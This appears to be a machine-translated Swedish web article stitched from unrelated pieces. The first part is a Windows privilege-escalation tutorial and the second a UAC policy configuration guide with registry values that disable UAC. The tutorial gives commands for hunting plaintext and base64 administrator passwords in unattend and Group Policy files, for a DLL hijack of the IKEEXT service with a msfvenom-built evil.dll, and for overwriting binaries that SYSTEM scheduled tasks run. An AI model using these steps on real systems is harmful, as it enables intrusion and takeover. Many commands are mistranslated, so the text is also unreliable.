Förhöjning av rättigheter utan att kräva ett administratörslösenord, för en specifik applikation. Grundläggande om Windows Privilege Elevation Användarhöjd i Enhetshanteraren

Förhöjning av rättigheter utan att kräva ett administratörslösenord, för en specifik applikation.  Grundläggande om Windows Privilege Elevation Användarhöjd i Enhetshanteraren
Förhöjning av rättigheter utan att kräva ett administratörslösenord, för en specifik applikation. Grundläggande om Windows Privilege Elevation Användarhöjd i Enhetshanteraren

Idag kommer vi att prata om eskalering av Windows-privilegier. Du kommer att lära dig hur en angripare kan eskalera privilegier och hur du skyddar dig från det.

All information är endast i informationssyfte. Varken redaktörerna för webbplatsen eller författaren till artikeln är ansvariga för felaktig användning.

Privilegiumupptrappning med BeRoot

De flesta metoderna för att höja privilegier är förknippade med fel i konfigurationen av den installerade programvaran, oavsett om det är sökvägen till tjänstens körbara fil som inte är inramad av citattecken och innehåller ett mellanslag (denna situation hanteras ganska intressant av Windows), eller felaktigt inställda rättigheter till katalogen med programmet.

En person är en lat varelse och vill inte kontrollera allt detta manuellt varje gång. Därför måste det förr eller senare dyka upp ett verktyg som skulle automatisera denna rutin.

Sekundärt inloggningshandtag

Ett annat intressant knep involverar att använda tjänsten Secondary Logon. Den här tjänsten låter dig köra program, Microsoft Management-konsoler, kontrollpanelobjekt som administratör, även om nuvarande användaren tillhör endast gruppen Användare eller Avancerade användare. Summan av kardemumman är det denna tjänst rensar inte handtag när nya processer skapas.

Det som är viktigt för oss – nästan alla berörs av denna sårbarhet Windows-versioner(x32 och x64): från Vista till Windows 2012 Server. Men det finns också begränsningar: för framgångsrik privilegieskalering måste PowerShell 2.0 eller högre vara installerat på systemet och två eller flera CPU-kärnor måste finnas. Metasploit Framework har specialmodul exploit/windows/local/ms16_032_secondary_logon_handle_privesc.

Dess användning innebär att vi redan har en mätare-session, som vi måste specificera i parametrarna: set SESSION 1. Tja, i händelse av framgångsrik operation kommer vi att ha en annan session med förhöjda privilegier.

\ pentestlab > wmic qfe lista | hitta "3139914"

Slutsats

Oavsett hur mycket jag försöker få in alla möjliga alternativ för att eskalera privilegier i en artikel, är det osannolikt att detta kommer att lyckas, eller så kommer artikeln att växa till en gigantisk storlek och bli ointressant för dig. Så det är dags att vända. Vi kommer att prata om skydd i en separat artikel.

I allmänhet finns här sätt som hjälper oss att uppnå målet med privilegieupptrappning.

Utgångspunkten för denna korta artikel är ett oprivilegierat skal ( konto). Vi kanske använde en exploatering eller utförde en attack och fick det här skalet.

I princip förstår vi inte maskinen vid det första ögonblicket: vad den gör, vad den är ansluten till, vilken nivå av privilegier vi har eller till och med vilket operativsystem det är.

Först måste vi få den information vi behöver för att förstå var vi är i allmänhet och vad vi har:

systeminformation | findstr /B /C:"OS-namn" /C:"OS-version"
Detta kommando låter dig bestämma, som du kan se av det, namnet och versionen av operativsystemet. Du kan köra det utan parametrar, då kommer utmatningen av kommandot att vara mer komplett, men det räcker för oss.

  • värdnamn - användarnamn.
  • echo %användarnamn% - användarnamn.
Låt oss sedan se vilka andra användare är på denna värd och få mer detaljerad information om din användare.
  • nettoanvändare - andra användare
  • net user user1 - detaljerad användarinformation, där user1 är ditt användarnamn.
Efter att ha fått information om kontot kommer vi att se information om denna värds nätverksinteraktion.

Låt oss först titta på de tillgängliga gränssnitten och routingtabellen.

  • ipconfig /all - information om tillgängliga gränssnitt.
  • ruttutskrift - rutttabell
  • arp -A - tabell över arp-poster
Låt oss ta en titt på aktiv nätverkskopplingar och brandväggsregler.
  • netstat -ano - aktiva nätverksanslutningar.
-a - kör med detta alternativ kommer att visa alla aktiva TCP-anslutningar, såväl som TCP- och UDP-portar som lyssnar på systemet;
-n - parameter tillåter att visa aktiva TCP-anslutningar med adresser och portnummer;
-o - precis som föregående switch, visar aktiva TCP-anslutningar, men processkoder har lagts till i statistiken, de kan redan användas för att avgöra exakt vilken applikation som använder anslutningen.
  • netsh brandvägg visa status - brandväggsstatus
  • netsh brandvägg show config - brandväggskonfiguration
Slutligen tar vi en snabb titt på vad som körs på den komprometterade värden: schemalagda uppgifter, köra processer, köra tjänster och installerade drivrutiner.

Schtasks /query /fo LIST /v
Var
/query - Visa data om alla schemalagda uppgifter,
/fo LIST - Utdata till en lista.
/v - Visa detaljerad information om uppgiften.

Följande kommando länkar pågående processer till körande tjänster.

Uppgiftslista /SVC
Var,
/SVC - Visa tjänster för varje process.

Se även listan driva tjänster Windows.

Nettostart
Det är också användbart att titta på information om drivrutinerna för det komprometterade systemet.

DRIVERQUERY
Därefter skulle jag vilja nämna det förmodligen mest användbara Windows-kommandot - wmic. WMIC kommando ( Windows-hantering Instrumentation Command) används för att erhålla information om utrustningen och systemet, styrprocesser och deras komponenter och ändra inställningar med hjälp av instrumentens möjligheter Windows kontroller(Windows Management Instrumentation eller WMI). Bra beskrivning.

Tyvärr tillåter vissa standard Windows-konfigurationer inte åtkomst till WMIC om inte användaren är i gruppen Administratörer (vilket är en riktigt bra idé). Någon version av XP tillät inte åtkomst till WMIC från ett oprivilegierat konto.

Däremot tillät Windows 7 Professional och Windows 8 Enterprise lågprivilegierade användare att använda WMIC som standard.

Som vanligt - programparametrarna:

Innan du går vidare är det värt att gå igenom den insamlade informationen. Det är också värt att uppmärksamma de patchar som är installerade i systemet, eftersom all information om hål i systemet kommer att ge oss ytterligare stöd för att öka våra privilegier. Med hjälp av HotFix-numret kan du leta efter sårbarheter med eskalering av rättigheter.

Därefter kommer vi att titta på automatisk installation. Om det finns ett behov av att installera och konfigurera en stor maskinpark, kommer teknisk personal som regel inte att flytta från maskin till maskin för att ställa in en personlig. Det finns flera lösningar för automatisk installation. För oss är det inte så viktigt vad dessa metoder är och hur de fungerar, utan det som är viktigt är vad de lämnar konfigurationsfiler, som används för installationsprocessen och innehåller mycket känslig information som operativsystemets produktnyckel och administratörslösenord. Det vi är mest intresserade av är administratörslösenordet, som vi kan använda för att höja våra privilegier.

Som regel är dessa följande kataloger:

  • c:\sysprep.inf
  • c:\sysprep\sysprep.xml
  • %WINDIR%\Panther\Unattend\Unattended.xml
  • %WINDIR%\Panther\Unattended.xml
Men det är värt att kontrollera hela systemet.

Dessa filer innehåller lösenord i klartext eller BASE64-kodning.
Exempel:

Sysprep.inf - klartextlösenord.

Sysprep.xml - base64-kodat lösenord.

"

Unattended.xml - base64-kodat lösenord.

För domänanslutna värdar kan du också leta efter filen Group.xml, som innehåller ett AES256-krypterat lösenord, men som kan dekrypteras, eftersom nyckeln publiceras på msdn (https://msdn.microsoft.com/en-us/library/cc422924.aspx) och andra källor. Men detta är fallet om policyn att skapa lokala användare på värdar används eller, till exempel, ställa in ett lösenord för den lokala administratören.

Till exempel har jag den här:

Efter att ha öppnat den letar vi efter parametern "cpassword".

Därefter måste du dechiffrera denna sekvens. Vi använder till exempel CrypTool. Låt oss först avkoda Base64.
Funktioner hos Base64 är att dess längd måste vara en multipel av 4. Därför räknar vi block om 4, och om det inte finns tillräckligt med tecken i det sista blocket, lägger vi till de saknade tecknen med "="-tecken.
Jag fick 2 "=".

Vi tar bort de extra prickarna som skiljer tecknen åt och får lösenordet.

Förutom Group.xml finns här några andra policyinställningsfiler som kan ha ytterligare en uppsättning "cPassword"-attribut:

  • Tjänster\Tjänster.xml
  • ScheduledTasks\ScheduledTasks.xml
  • Skrivare\Printers.xml
  • Drives\Drives.xml
  • DataSources\DataSources.xml
Men vi älskar alla automatiserade lösningar, så vi kan komma i mål så snabbt som möjligt. Det finns två huvudalternativ här, beroende på vilken typ av skal/åtkomst vi har. Det finns en metasploit-modul som kan köras via en uppsättningssession (https://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp) eller så kan du använda Get-GPPPassword som är en del av PowerSploit .

För att kunna använda detta måste vi kontrollera att båda registernycklarna är inställda, och i så fall kan vi få SYSTEM-skalet. Låt oss kolla:

Reg-fråga HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
reg fråga HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstallElevated
Metasploit innehåller en speciell modul, exploit/windows/local/always_install_elevated, som skapar en MSI-fil med en speciell körbar inbäddad, som extraheras och körs av en systemprivilegierad installatör. När msi-filen väl har körts stoppar installationen för att förhindra att åtgärden registreras i systemet. Dessutom, om du kör installationen med växeln /quiet, kommer du inte ens att få ett felmeddelande.

Nåväl, lite användbara kommandon genom systemsökning:

Kommandot nedan kommer att söka in filsystem filnamn som innehåller vissa nyckelord. Du kan ange valfritt antal nyckelord.

Dir /s *pass* == *cred* == *vnc* == *.config*
Genom att söka efter specifika filtyper med nyckelord kan det här kommandot generera mycket utdata.

Findstr /si lösenord *.xml *.ini *.txt
På samma sätt kan de två kommandona nedan användas för att hantera registret genom nyckelord, i det här fallet "lösenord".

Reg fråga HKLM /f lösenord /t REG_SZ /s
reg fråga HKCU /f lösenord /t REG_SZ /s
det här ögonblicket vi har redan tillräckligt för att få igång systemet. Men det finns ytterligare ett par riktade attacker för att få önskat resultat: vi kommer att överväga windows tjänster och behörigheter för filer och mappar. Vårt mål här är att använda svaga behörigheter för att höja sessionsprivilegier.

Vi kommer att kontrollera många behörigheter, accesschk.exe, som är ett verktyg från Microsoft Sysinternals Suite, kommer att hjälpa oss med detta. Microsoft Sysinternals innehåller många bra verktyg. Paketet kan laddas ner från Microsofts technet-webbplats (https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite).

Vi kan kontrollera den nödvändiga behörighetsnivån för varje tjänst med accesschk.

Vi kan se de behörigheter som varje användarnivå har.

Accesschk kan automatiskt kontrollera om vi har skrivbehörighet till en Windows-tjänst med en viss användarnivå. Vanligtvis vill vi som användare med låga privilegier kontrollera "Användare". Se till att kontrollera vilka användargrupper du tillhör.

C Namnet är en Windows-tjänst, till exempel ssdpsrv (ange "*" för att visa alla tjänster)
-d Bearbeta endast kataloger
-e Skriv endast ut explicita integritetsnivåer (endast Windows Vista)
-k Registernyckel specificerad som namn, till exempel hklm\software
-n Visa endast objekt som inte har åtkomstregler
-p Ange namnet eller process-ID (PID) som namn, till exempel cmd.exe (ange "*" som namn för att visa alla processer)
-q Utelämna titel
-r Skriv endast ut objekt som har läsbehörighet
-s Rekursiv bearbetning
-v Visa utförlig information
-w Lista endast objekt som har skrivbehörighet

Det finns också ett annat intressant kommando:

Autorunsc.exe -a | findstr /n /R "Fil\ inte\ hittades"
Låter dig hitta en registerpost för en fil som startade automatiskt, men som inte längre finns i systemet. Posten kan finnas kvar om till exempel tjänsten felaktigt tagits bort. Vid varje start försöker systemet köra den här filen utan framgång. Denna situation kan också användas för att utöka deras befogenheter. Du kan helt enkelt ersätta vår i stället för den här filen.

Replikera först resultatet av ett inlägg skrivet av Parvez från GreyHatHacker; "Förhöjning av privilegier genom att utnyttja svaga mappbehörigheter" (http://www.greyhathacker.net/?p=738).

Det här exemplet är ett specialfall av dll-kapning. Program kan vanligtvis inte fungera på egen hand, de har många resurser som de behöver inkludera (främst dll-filer, men också sina egna filer). Om ett program eller tjänst laddar en fil från en katalog som vi har skrivåtkomst till kan vi missbruka detta för att starta ett skal med de privilegier som programmet körs under.

Vanligtvis, Windows-applikationen kommer att använda de fördefinierade sökvägarna för att hitta dll-filen och den kommer att kontrollera dessa sökvägar i en specifik ordning. Dll-kapning sker vanligtvis genom att skadliga dll-filer placeras i en av dessa vägar. Detta problem kan åtgärdas genom att ge applikationen absoluta sökvägar till den nödvändiga dll-filen.

dll sökordning:

  1. Katalogen från vilken programmet startas
  2. 32-bitars systemkatalog (C:\Windows\System32)
  3. 16-bitars systemkatalog (C:\Windows\System)
  4. Windows-katalog (C:\Windows)
  5. Aktuell arbetskatalog (CWD)
  6. Kataloger i miljövariabeln PATH (system sedan användare)
Ibland försöker appar laddas dll-filer saknas på maskinen. Detta kan hända av flera skäl, till exempel om dll-filen endast krävs för vissa plugin-program eller komponenter som inte är installerade. I det här fallet upptäckte Parvez att vissa Windows-tjänster försökte ladda dlls, som inte finns i standardinställningarna.

Eftersom dll-filen inte finns, går vi igenom alla sökvägar. Som en lågprivilegierad användare har vi små chanser att lägga en skadlig dll i steg 1-4, 5. Men om vi har skrivåtkomst till någon av katalogerna är våra chanser att vinna höga.

Låt oss se hur detta fungerar i praktiken, för vårt exempel kommer vi att använda tjänsten IKEEXT (IPSec IKE och AuthIP Key Modules) som försöker ladda wlbsctrl.dll.

Alla kataloger i "C:\" ger skrivåtkomst till autentiserade användare, detta ger oss en chans.

C:\Users\user1\Desktop> accesschk.exe -dqv "C:\Python27"
C:\Python27 Medium Obligatorisk Nivå (Standard) RW BUILTIN\Administratörer FILE_ALL_ACCESS RW NT AUTHORITY\SYSTEM FILE_ALL_ACCESS R BUILTIN\Users FILE_LIST_DIRECTORY FILE_READ_ATTRIBUTES FILE_TRAAD_EA CONTROLE SAUTHRONE RAUTHRONITY\ autentiserade användare
C:\Users\user1\Desktop> icacls "C:\Python27"
C:\Python27 BUILTIN\Administratörer:(ID)F BUILTIN\Administratörer:(OI)(CI)(IO)(ID)F NT AUTHORITY\SYSTEM:(ID)F NT AUTHORITY\SYSTEM:(OI)(CI)( IO)(ID)F BUILTIN\Users:(OI)(CI)(ID)R NT MYNDIGHET\Authenticated Users:(ID)C NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
F- full tillgång.
(OI) - arv av objekt.
(CI) - nedärvning av containrar.
(IO) - endast arv.
(NP) - ett förbud mot fördelningen av arv.
(I) - arv av behörigheter från den överordnade behållaren.

Innan du går vidare till åtgärd måste du kontrollera statusen för IKEEXT-tjänsten. I det här fallet kan vi se att den är inställd på "AUTO_START"!

Sc qc IKEEXT
QueryServiceConfig SUCCESS SERVICE_NAME: IKEEXT TYPE: 20 WIN32_SHARE_PROCESS START_TYPE: 2 AUTO_START ERROR_CONTROL: 1 NORMAL BINARY_PATH_NAME: C:\Windows\system32\svchost.exe -k Module netsvcs LOAD_ORDER_NAME: AKE es BEROENDE: BFE SERVICE_START_NAME: LocalSystem
Nu vet vi att vi har de nödvändiga förutsättningarna och vi kan skapa en skadlig dll- och wrapperkapning!

Vi använder till exempel Metasploit -> msfvenom.

Efter att ha överfört evil.dll till vår måldator behöver vi bara byta namn på den till wlbsctrl.dll och flytta den till "C:\Python27". När detta är gjort måste vi vänta tålmodigt på att maskinen startar om (eller så kan vi försöka tvinga fram en omstart) och vi kommer att få ett systemskal.

Kopiera evil.dll C:\Python27\wlbsctrl.dll
Efter det återstår det bara att vänta på att systemet startar om.

För vårt sista exempel kommer vi att titta på schemalagda uppgifter. Jag kommer att beskriva principen, eftersom alla kan ha olika fall.

Vi hittar processen, tjänsten, applikationen som lanserats av uppgiftsschemaläggaren från SYSTEM.
Vi kontrollerar behörigheterna i mappen där vårt mål finns.

Accesschk.exe -dqv "sökväg_till_destination"
Uppenbarligen är detta ett allvarligt konfigurationsproblem, men ännu värre är det faktum att någon verifierad Användaren (autentiserad användare) har skrivbehörighet till denna mapp. I det här exemplet kan vi helt enkelt skriva över den binära körbara filen med en fil genererad av metasploit.

Du kan koda ytterligare.

Nu återstår bara att ladda ner den skadliga körbara filen och skriva över den i den körbara mappen. När detta är gjort kan vi säkert gå och lägga oss och få igång systemet tidigt på morgonen.

Dessa två exempel bör ge oss en uppfattning om vilka sårbarheter vi ska leta efter när vi överväger fil- och mappbehörigheter. Det kommer att ta tid att utforska alla binpaths för Windows-tjänster, schemalagda uppgifter och autostartuppgifter.

Slutligen, ett par tips om hur du använder accesschk.exe.

Hitta alla svaga behörigheter för mappar på en enhet.

Accesschk.exe -uwdqs Användare c:\ accesschk.exe -uwdqs "Autentiserade användare" c:\
Hitta alla svaga behörigheter för filer på disken.

Accesschk.exe -uwqs Användare c:\*.* accesschk.exe -uwqs "Autentiserade användare" c:\*.*
Ser ut som det är det.

För den genomsnittliga användaren är UAC-mekanismen irriterande fönster som kräver bekräftelse av nästan varje åtgärd. Av vana utvärderas alla "Microsoft"-innovationer mycket skeptiskt, och användaren letar efter hur man helt kan stänga av dem. Men det kanske är värt att utstå lite besvär ibland för säkerhets skull? I den här artikeln kommer vi att berätta varför du fortfarande behöver UAC och hur du konfigurerar det. UAC - User Account Control Mechanism Genom att hantera konton skyddar UAC-mekanismen verkligen operativsystemet. Alla försök att inaktivera mekanismer som UAC, för att få administratörsstatus för ditt konto på en dator, är gjorda för endast en sak – full kontroll och fullständiga rättigheter på din egen dator, oavsett hur erfaren användaren är. Men detta används mycket aktivt av de som skapar skadlig programvara som, efter att ha penetrerat din dator, kan använda administratörsrättigheter - precis som du. Farligt innehåll attackerar systemregistret, filsystemet och Windows-tjänsterna. Det är därför, även om du använder ett administratörskonto, efter att ha försett dig med fullständiga rättigheter, kommer UAC fortfarande aktivt att "störa" användaren i hans resa för att koka alla dörrar till virus. Såvida det inte är aktiverat, naturligtvis... I det här fallet kommer UAC att blockera all åtkomst till filer som har status som systemfiler, såväl som i registret och tjänsterna. I vart och ett av dessa fall kommer ett karaktäristiskt fönster att visas som beskriver vad och var det går åt och kräver din bekräftelse. Till exempel, detta (när du installerar programmet): alternativUAC Att ställa in UAC är ganska enkelt och tydligt. För att göra detta skapade vi skyddsnivåer, det finns totalt 4 av dem. För att öppna inställningsfönstret för denna mekanism och se till att det är enkelt, öppna Start och i sökningen anger du till exempel följande fråga:
Klicka på "Ändra inställningar för användarkontokontroll" så öppnas ett fönster för en enkel konfiguration av UAC-mekanismen.
4 skyddsnivåer erbjuds - från den högsta till fullständig inaktivering av denna mekanism. Varje nivå beskrivs i detalj i området till höger om skalan. Djupare anpassning UAC-mekanismen är tillgänglig i säkerhetspolicyerna. För att öppna den här tjänsten kan du använda olika metoder:

  • Startknapp - ange frågan "Lokal säkerhetspolicy" i sökrutan. Hitta det önskade resultatet bland de föreslagna;
  • Snabbtangenter" vinna+R" - fönstret "Kör" öppnas. Ange eller kopiera kommandot till det secpol.msc, bekräfta med Ok.


  1. Den allra första parametern påverkar alla policyer och definierar deras egenskaper på den här datorn. Om sätta på det här alternativet kommer en dialogruta att visas för alla användare som är medlemmar i gruppen Administratörer som begär utökade behörigheter (när UAC utlöses). Om inaktivera, då hävs restriktionerna.
  2. Den här inställningen är aktiverad som standard för arbetsgrupper. Om han ingår, sedan kontrolleras alla lanserade program för en digital signatur utfärdad av Microsoft. Om signaturen saknas kommer applikationen inte att installeras och kräver att arbetsgruppsanvändaren är förhöjd. Sedan måste du ange namn och lösenord för administratörskontot.
  3. inkludering denna inställning skickas alla UAC-meddelanden till det säkra skrivbordet när stänga av- till interaktiv.
  4. För användare i gruppen Administratörer anger det här alternativet vilken typ av prompt som visas när höjd krävs.
    • Uppgradera utan att fråga. Inmatning av referenser och bekräftelse av samtycke efterfrågas inte. Om du väljer det här alternativet blir rättigheterna lika med det inbyggda administratörskontot.
    • Fråga efter autentiseringsuppgifter på det säkra skrivbordet. Om du uppmanas att höja rättigheterna på det säkra skrivbordet kommer du att behöva ange inloggning och lösenord för en användare med privilegier för att fortsätta verksamheten med de högsta användarrättigheterna.
    • Be om samtycke på det säkra skrivbordet. Du behöver inte ange något lösenord, istället uppmanas du att tillåta eller neka höjd.
    • Begäran om legitimation. Ange ett lösenord för alla åtgärder som kräver höjning.
    • Begäran om samtycke. Begär höjdtillstånd för alla operationer som kräver det.
    • Begär samtycke för tredje parts binärer. För tredje parts applikationer(icke-Windows) som kräver höjd, kommer du att uppmanas att tillåta eller neka tillstånd på det säkra skrivbordet. Vid tillstånd kommer verksamheten att fortsätta med maximala rättigheter.
  5. Bestämmer vilka åtgärder systemet kommer att vidta när det kontaktas av en användare som har vanlig lag, till appar som kräver upphöjning.
    • Fråga efter autentiseringsuppgifter på det säkra skrivbordet(inställd som standard). Användaren kommer att behöva ange administratörsuppgifter (namn och lösenord), medan operationen (om uppgifterna är korrekta) kommer att ske på ett säkert skrivbord.
    • Begäran om legitimation. Användaren måste ange administratörsuppgifter (namn och lösenord). Om uppgifterna är korrekt inmatade fortsätter operationen.
    • Avvisa höjdförfrågningar automatiskt. Visar ett meddelande om förbud mot höjning av privilegier.
  6. ingår parameter, kommer dessa applikationer endast att köras om de finns i säkra mappar, när av- Hur som helst.
  7. Alternativet, som är inaktiverat som standard, hjälper dig att avgöra om du behöver verifiera signaturer för interaktiva PKI-applikationer (public key). Omfattaär bara meningsfullt i organisationer där denna kontroll är lämplig.
  8. För äldre applikationer som försöker komma åt skyddade områden i systemet. Om inaktivera, då kommer dessa applikationer inte att köras alls, vilket slutar med ett fel. Om sätta på(standard) då kommer runtime att skapa omdirigeringar för att krascha specifika platser i systemet och registret.
  9. Ett alternativ för standardanvändare som är inaktiverat som standard.
  10. Parametern, som också är Inaktiverad standard. I det här fallet, när du använder det inbyggda administratörskontot, körs alla applikationer med maximala rättigheter. Om det sätta på, sedan för det inbyggda kontot kommer alla operationer som kräver höjd att kräva bekräftelse.
Vilken skyddsnivå ska man använda? Det beror enbart på dina personliga preferenser. Faktum är att du måste utstå några olägenheter som bara är förknippade med utseendet på ett irriterande bekräftelsefönster för en åtgärd relaterad till användningen av systemresurser. Således kan du skapa ett konto med begränsade rättigheter och använda det. Samtidigt skapa komplext lösenord för ett administratörskonto utan att lagra det på datorn. När du installerar applikationer som kräver upphöjning anger du bara namnet och lösenordet för administratörskontot. Detta är det enda sättet att vara säker på att ditt system är skyddat från skadlig programvara. På samma sätt kan du lösenordsskydda specifika filer med administratörsbehörighet. För att göra detta behöver du bara klippa rättigheterna till dessa filer för användarkontot. Om du inte anser dig vara erfaren Windows-användare 7, medan vi aktivt använder Internet och ofta utbyter information genom att ansluta flyttbara media till din dator, vårt råd: stäng inte avUAC och ta dig tid att eftertänksamt justera det. Denna mekanism kan framgångsrikt hantera många hot, oavsett antivirusprogram.

En del av artikeln beskrivs i detalj principen för driften av användarkontokontroll. I den här delen kommer vi att prata om att ställa in UAC i fallet när din dator fungerar offline, det vill säga den är inte en del av Aktiv domän Katalog. För att konfigurera användarkontokontroll, använd funktionen lokal politik säkerhet, som finns i den lokala objektredigeraren gruppolicy.

Det finns 10 grupprincipinställningar som är ansvariga för att konfigurera användarkontokontroll. För att ändra policyinställningarna måste du öppna i snapin-modulen "Lokal gruppolicyredigerare" Datorkonfiguration\Windows Settings\Security Settings\Local Policies\Security Settings nod. I den här artikeln hittar du också ett sätt att konfigurera varje policyinställning med systemregistret. Följande tabell listar standardvärdena för var och en av policyinställningarna.

Användarkontokontroll Standardinställningar för grupprincip:

GrupppolicyinställningStandardvärde
Användarkontokontroll: Aktivera Admin Approval ModeIngår
Användarkontokontroll: Detektering av appinstallation och uppmaning om höjdIngår
Användarkontokontroll: Växla till säkert skrivbord när du uppmanas till höjdIngår
Användarkontokontroll: Beteende för höjdprompten för administratörer i Admin Approval ModeBe om samtycke för icke-Windows binär data
Användarkontokontroll: Uppförande av höjdprompt för standardanvändareUppmaning om inloggningsuppgifter
Användarkontokontroll: Förhöj bara UIAccess-applikationer installerade på en säker platsIngår
Användarkontokontroll: Förhöjning av rättigheter endast för signerade och verifierade körbara filerInaktiverad
Användarkontokontroll: När skrivning till en fil eller ett register misslyckas, virtualisera till användarens platsIngår
Användarkontokontroll: Tillåt UIAccess-program att begära höjd utan att använda det säkra skrivbordetInaktiverad
Användarkontokontroll: Använd Admin Approval Mode för det inbyggda administratörskontotInaktiverad

De grupprincipinställningar som är relevanta för användarkontokontroll (UAC) diskuteras i detalj nedan:

Alla administratörer körs i administratörsgodkännandeläge

Den här principinställningen bestämmer egenskaperna för alla policyer för kontroll av användarkonton för en dator. Den här inställningen avgör om administratörskonton kommer att köras i "administratörsgodkännandeläge", det vill säga om dialogrutor kommer att visas som ber om höjning av privilegier. Om du inaktiverar den här inställningen inaktiveras, grovt sett, funktionen för kontroll av användarkonton helt. Om du ändrar den här principinställningen måste du starta om datorn. Standardvärdet är aktiverat.

Möjliga parametervärden:

  • Ingår. Admin Approval Mode är aktiverat för att tillåta det inbyggda administratörskontot och alla andra användare som är medlemmar i gruppen "Administratörer", kör i administratörsgodkännandeläge.
  • Inaktiverad. Admin Approval Mode och alla relaterade UAC-policyinställningar kommer att inaktiveras.

;Inaktivera "EnableLUA"=dword:00000000

Detektering av applikationsinstallation och uppmaning om höjd

Den här inställningen bestämmer egenskaperna för upptäckt av programinstallationer för en dator genom att kontrollera om programmen som används för att distribuera program är signerade eller inte. Som standard, om användaren är inloggad arbetsgrupp, det är på.

Möjliga parametervärden:

  • Aktiverad (standard för hemmet). I händelse av att appupptäcker att höjd krävs, uppmanas användaren att ange användarnamn och lösenord för ett administratörskonto. Om användaren anger rätt autentiseringsuppgifter fortsätter operationen med lämpliga rättigheter. Typen av begäran beror på vilken grupp användaren tillhör.
  • Inaktiverad (standard för organisation). När den här inställningen är vald, uppmanar inte detektering av programinstallatörer till höjd. Vanligtvis används den här inställningen i organisationer vars datorer och användare är en del av en domän och använder teknik för delegerad installation (Group Policy Software Install - GPSI) för att distribuera applikationer. Följaktligen finns det inget behov av att upptäcka installatören.

Aktuella policyinställningar med registret:

;Inaktivera "EnableInstallerDetection"=dword:00000000

Byter till det säkra skrivbordet när du uppmanas att höja

Den här principinställningen avgör om höjduppmaningar visas på användarens interaktiva skrivbord eller på det säkra skrivbordet när en UAC-begäran initieras. Standardvärdet är aktiverat. Om du ändrar den här principinställningen måste du starta om datorn.

Möjliga parametervärden:

  • Ingår. Alla höjdmeddelanden visas på det säkra skrivbordet, oavsett policyinställningarna för promptbeteende för administratörer och standardanvändare.
  • Inaktiverad. Alla höjdförfrågningar visas på användarens interaktiva skrivbord.

Aktuella policyinställningar med registret:

;Inaktivera "PromptOnSecureDesktop"=dword:00000000

Beteende för höjdprompt för administratörer i Admin Approval Mode

Den aktuella inställningen låter dig bestämma handlingar för en användare som är medlem i gruppen "Administratörer" vid en operation som kräver höjning. Standardvärdet är inställt "Samtycksbegäran för binärfiler från tredje part (icke-Windows)".

Möjliga parametervärden:

  • Uppgradera utan att fråga. Tillåter privilegierade konton att utföra en operation som kräver höjning utan att kräva samtycke eller ange autentiseringsuppgifter. Det är tillrådligt att endast använda detta alternativ i miljöer med maximala användarbegränsningar. Om du väljer den här inställningen blir användarens behörigheter identiska med det inbyggda administratörskontot.
  • . För alla åtgärder som kräver upphöjning kommer det säkra skrivbordet att uppmana dig att ange det privilegierade användarnamnet och lösenordet. Om rätt referenser skrivs in fortsätter operationen med de högsta tillgängliga användarrättigheterna.
  • Be om samtycke på det säkra skrivbordet. För alla åtgärder som kräver upphöjning kommer det säkra skrivbordet att uppmana dig att välja: "Tillåta" eller "Förbjuda". När du väljer ett alternativ "Tillåta", kommer operationen att fortsätta med maximalt tillgängliga användarrättigheter.
  • Uppmaning om inloggningsuppgifter. För alla åtgärder som kräver höjning, kommer du att bli ombedd att ange användarnamn och lösenord för administratörskontot. Om du anger rätt autentiseringsuppgifter kommer operationen att fortsätta med förhöjda behörigheter.
  • Begäran om samtycke. När det här alternativet är valt, för alla operationer som kräver höjd, uppmanas användaren att välja att klicka på knappen: "Tillåta" eller "Förbjuda". Genom att trycka på knappen "Tillåta"
  • Be om samtycke för binärfiler från tredje part (icke-Windows). När det här alternativet är valt, kommer en valprompt att visas på det säkra skrivbordet: "Tillåta" eller "Förbjuda", när operationen för en icke-Microsoft-applikation kräver upphöjning. Med en knapptryckning "Tillåta", kommer operationen att fortsätta med högsta tillgängliga användarbehörighet.

Aktuella policyinställningar med registret:

;Fråga utan att fråga "ConsentPromptBehaviorAdmin"=dword:00000000 ;Fråga om inloggningsuppgifter på säkert skrivbord;"ConsentPromptBehaviorAdmin"=dword:00000001 ;Fråga om samtycke på säkert skrivbord;"ConsentPromptBehavior0000000000;"ConsentPromptBehavior:0000000 ;"ConsentPromp tBehaviorAdmin" =dword:00000003 ;Request consent;"ConsentPromptBehaviorAdmin"=dword:00000004 ;Begär samtycke för binär data som inte är Windows ;"ConsentPromptBehaviorAdmin"=dword:00000005

Uppförande av höjdprompt för standardanvändare

Den här principinställningen bestämmer vad som händer när en standardanvändare interagerar med applikationer som kräver höjning. Standardvärde - "Fråga efter autentiseringsuppgifter på det säkra skrivbordet".

Möjliga parametervärden:

  • Uppmaning om inloggningsuppgifter. Med det här alternativet uppmanas standardanvändaren att välja ett administratörskonto och ange ett lösenord för att utföra efterföljande åtgärder. Åtgärden kommer bara att fortsätta om autentiseringsuppgifterna har angetts korrekt.
  • Avvisa höjdförfrågningar automatiskt. Om du väljer det här alternativet kommer en standardanvändare att få ett felmeddelande om åtkomst nekad om de utför en operation som kräver höjning. organisationer, stationära datorer som används av standardanvändare kan välja denna policyinställning för att minska supportsamtal.
  • Fråga efter autentiseringsuppgifter på det säkra skrivbordet. Genom att välja det här alternativet uppmanas standardanvändaren att välja ett administratörskonto och ange ett lösenord för att endast utföra efterföljande åtgärder på det säkra skrivbordet. Åtgärden kommer bara att fortsätta om autentiseringsuppgifterna har angetts korrekt.

Aktuella policyinställningar med registret:

;Neka automatiskt höjningsförfrågningar "ConsentPromptBehaviorUser"=dword:00000000 ;Fråga inloggningsuppgifter på säkert skrivbord "ConsentPromptBehaviorUser"=dword:00000001 ; Fråga efter autentiseringsuppgifter "ConsentPromptBehaviorUser"=dword:00000003

Öka behörigheter för UIAccess-applikationer endast när de installeras på säkra platser

Den aktuella policyinställningen låter dig kontrollera behörighet att lokalisera applikationer som begär exekvering på den integritetsnivå som anges av attributet User Interface of Access (UIAccess) på en säker plats i filsystemet. Som standard är den här inställningen aktiverad för applikationer med tillgänglighet, UIAccess-attributet i manifestet är satt till True för att styra höjdbegäransfönstret. Om applikationer har värdet false, det vill säga om attributet utelämnas eller om det inte finns något manifest för sammansättningen, kommer applikationen inte att kunna komma åt det skyddade användargränssnittet. Endast följande mappar anses vara säkra:

…\Program Files\ inklusive undermappar

…\Windows\system32\

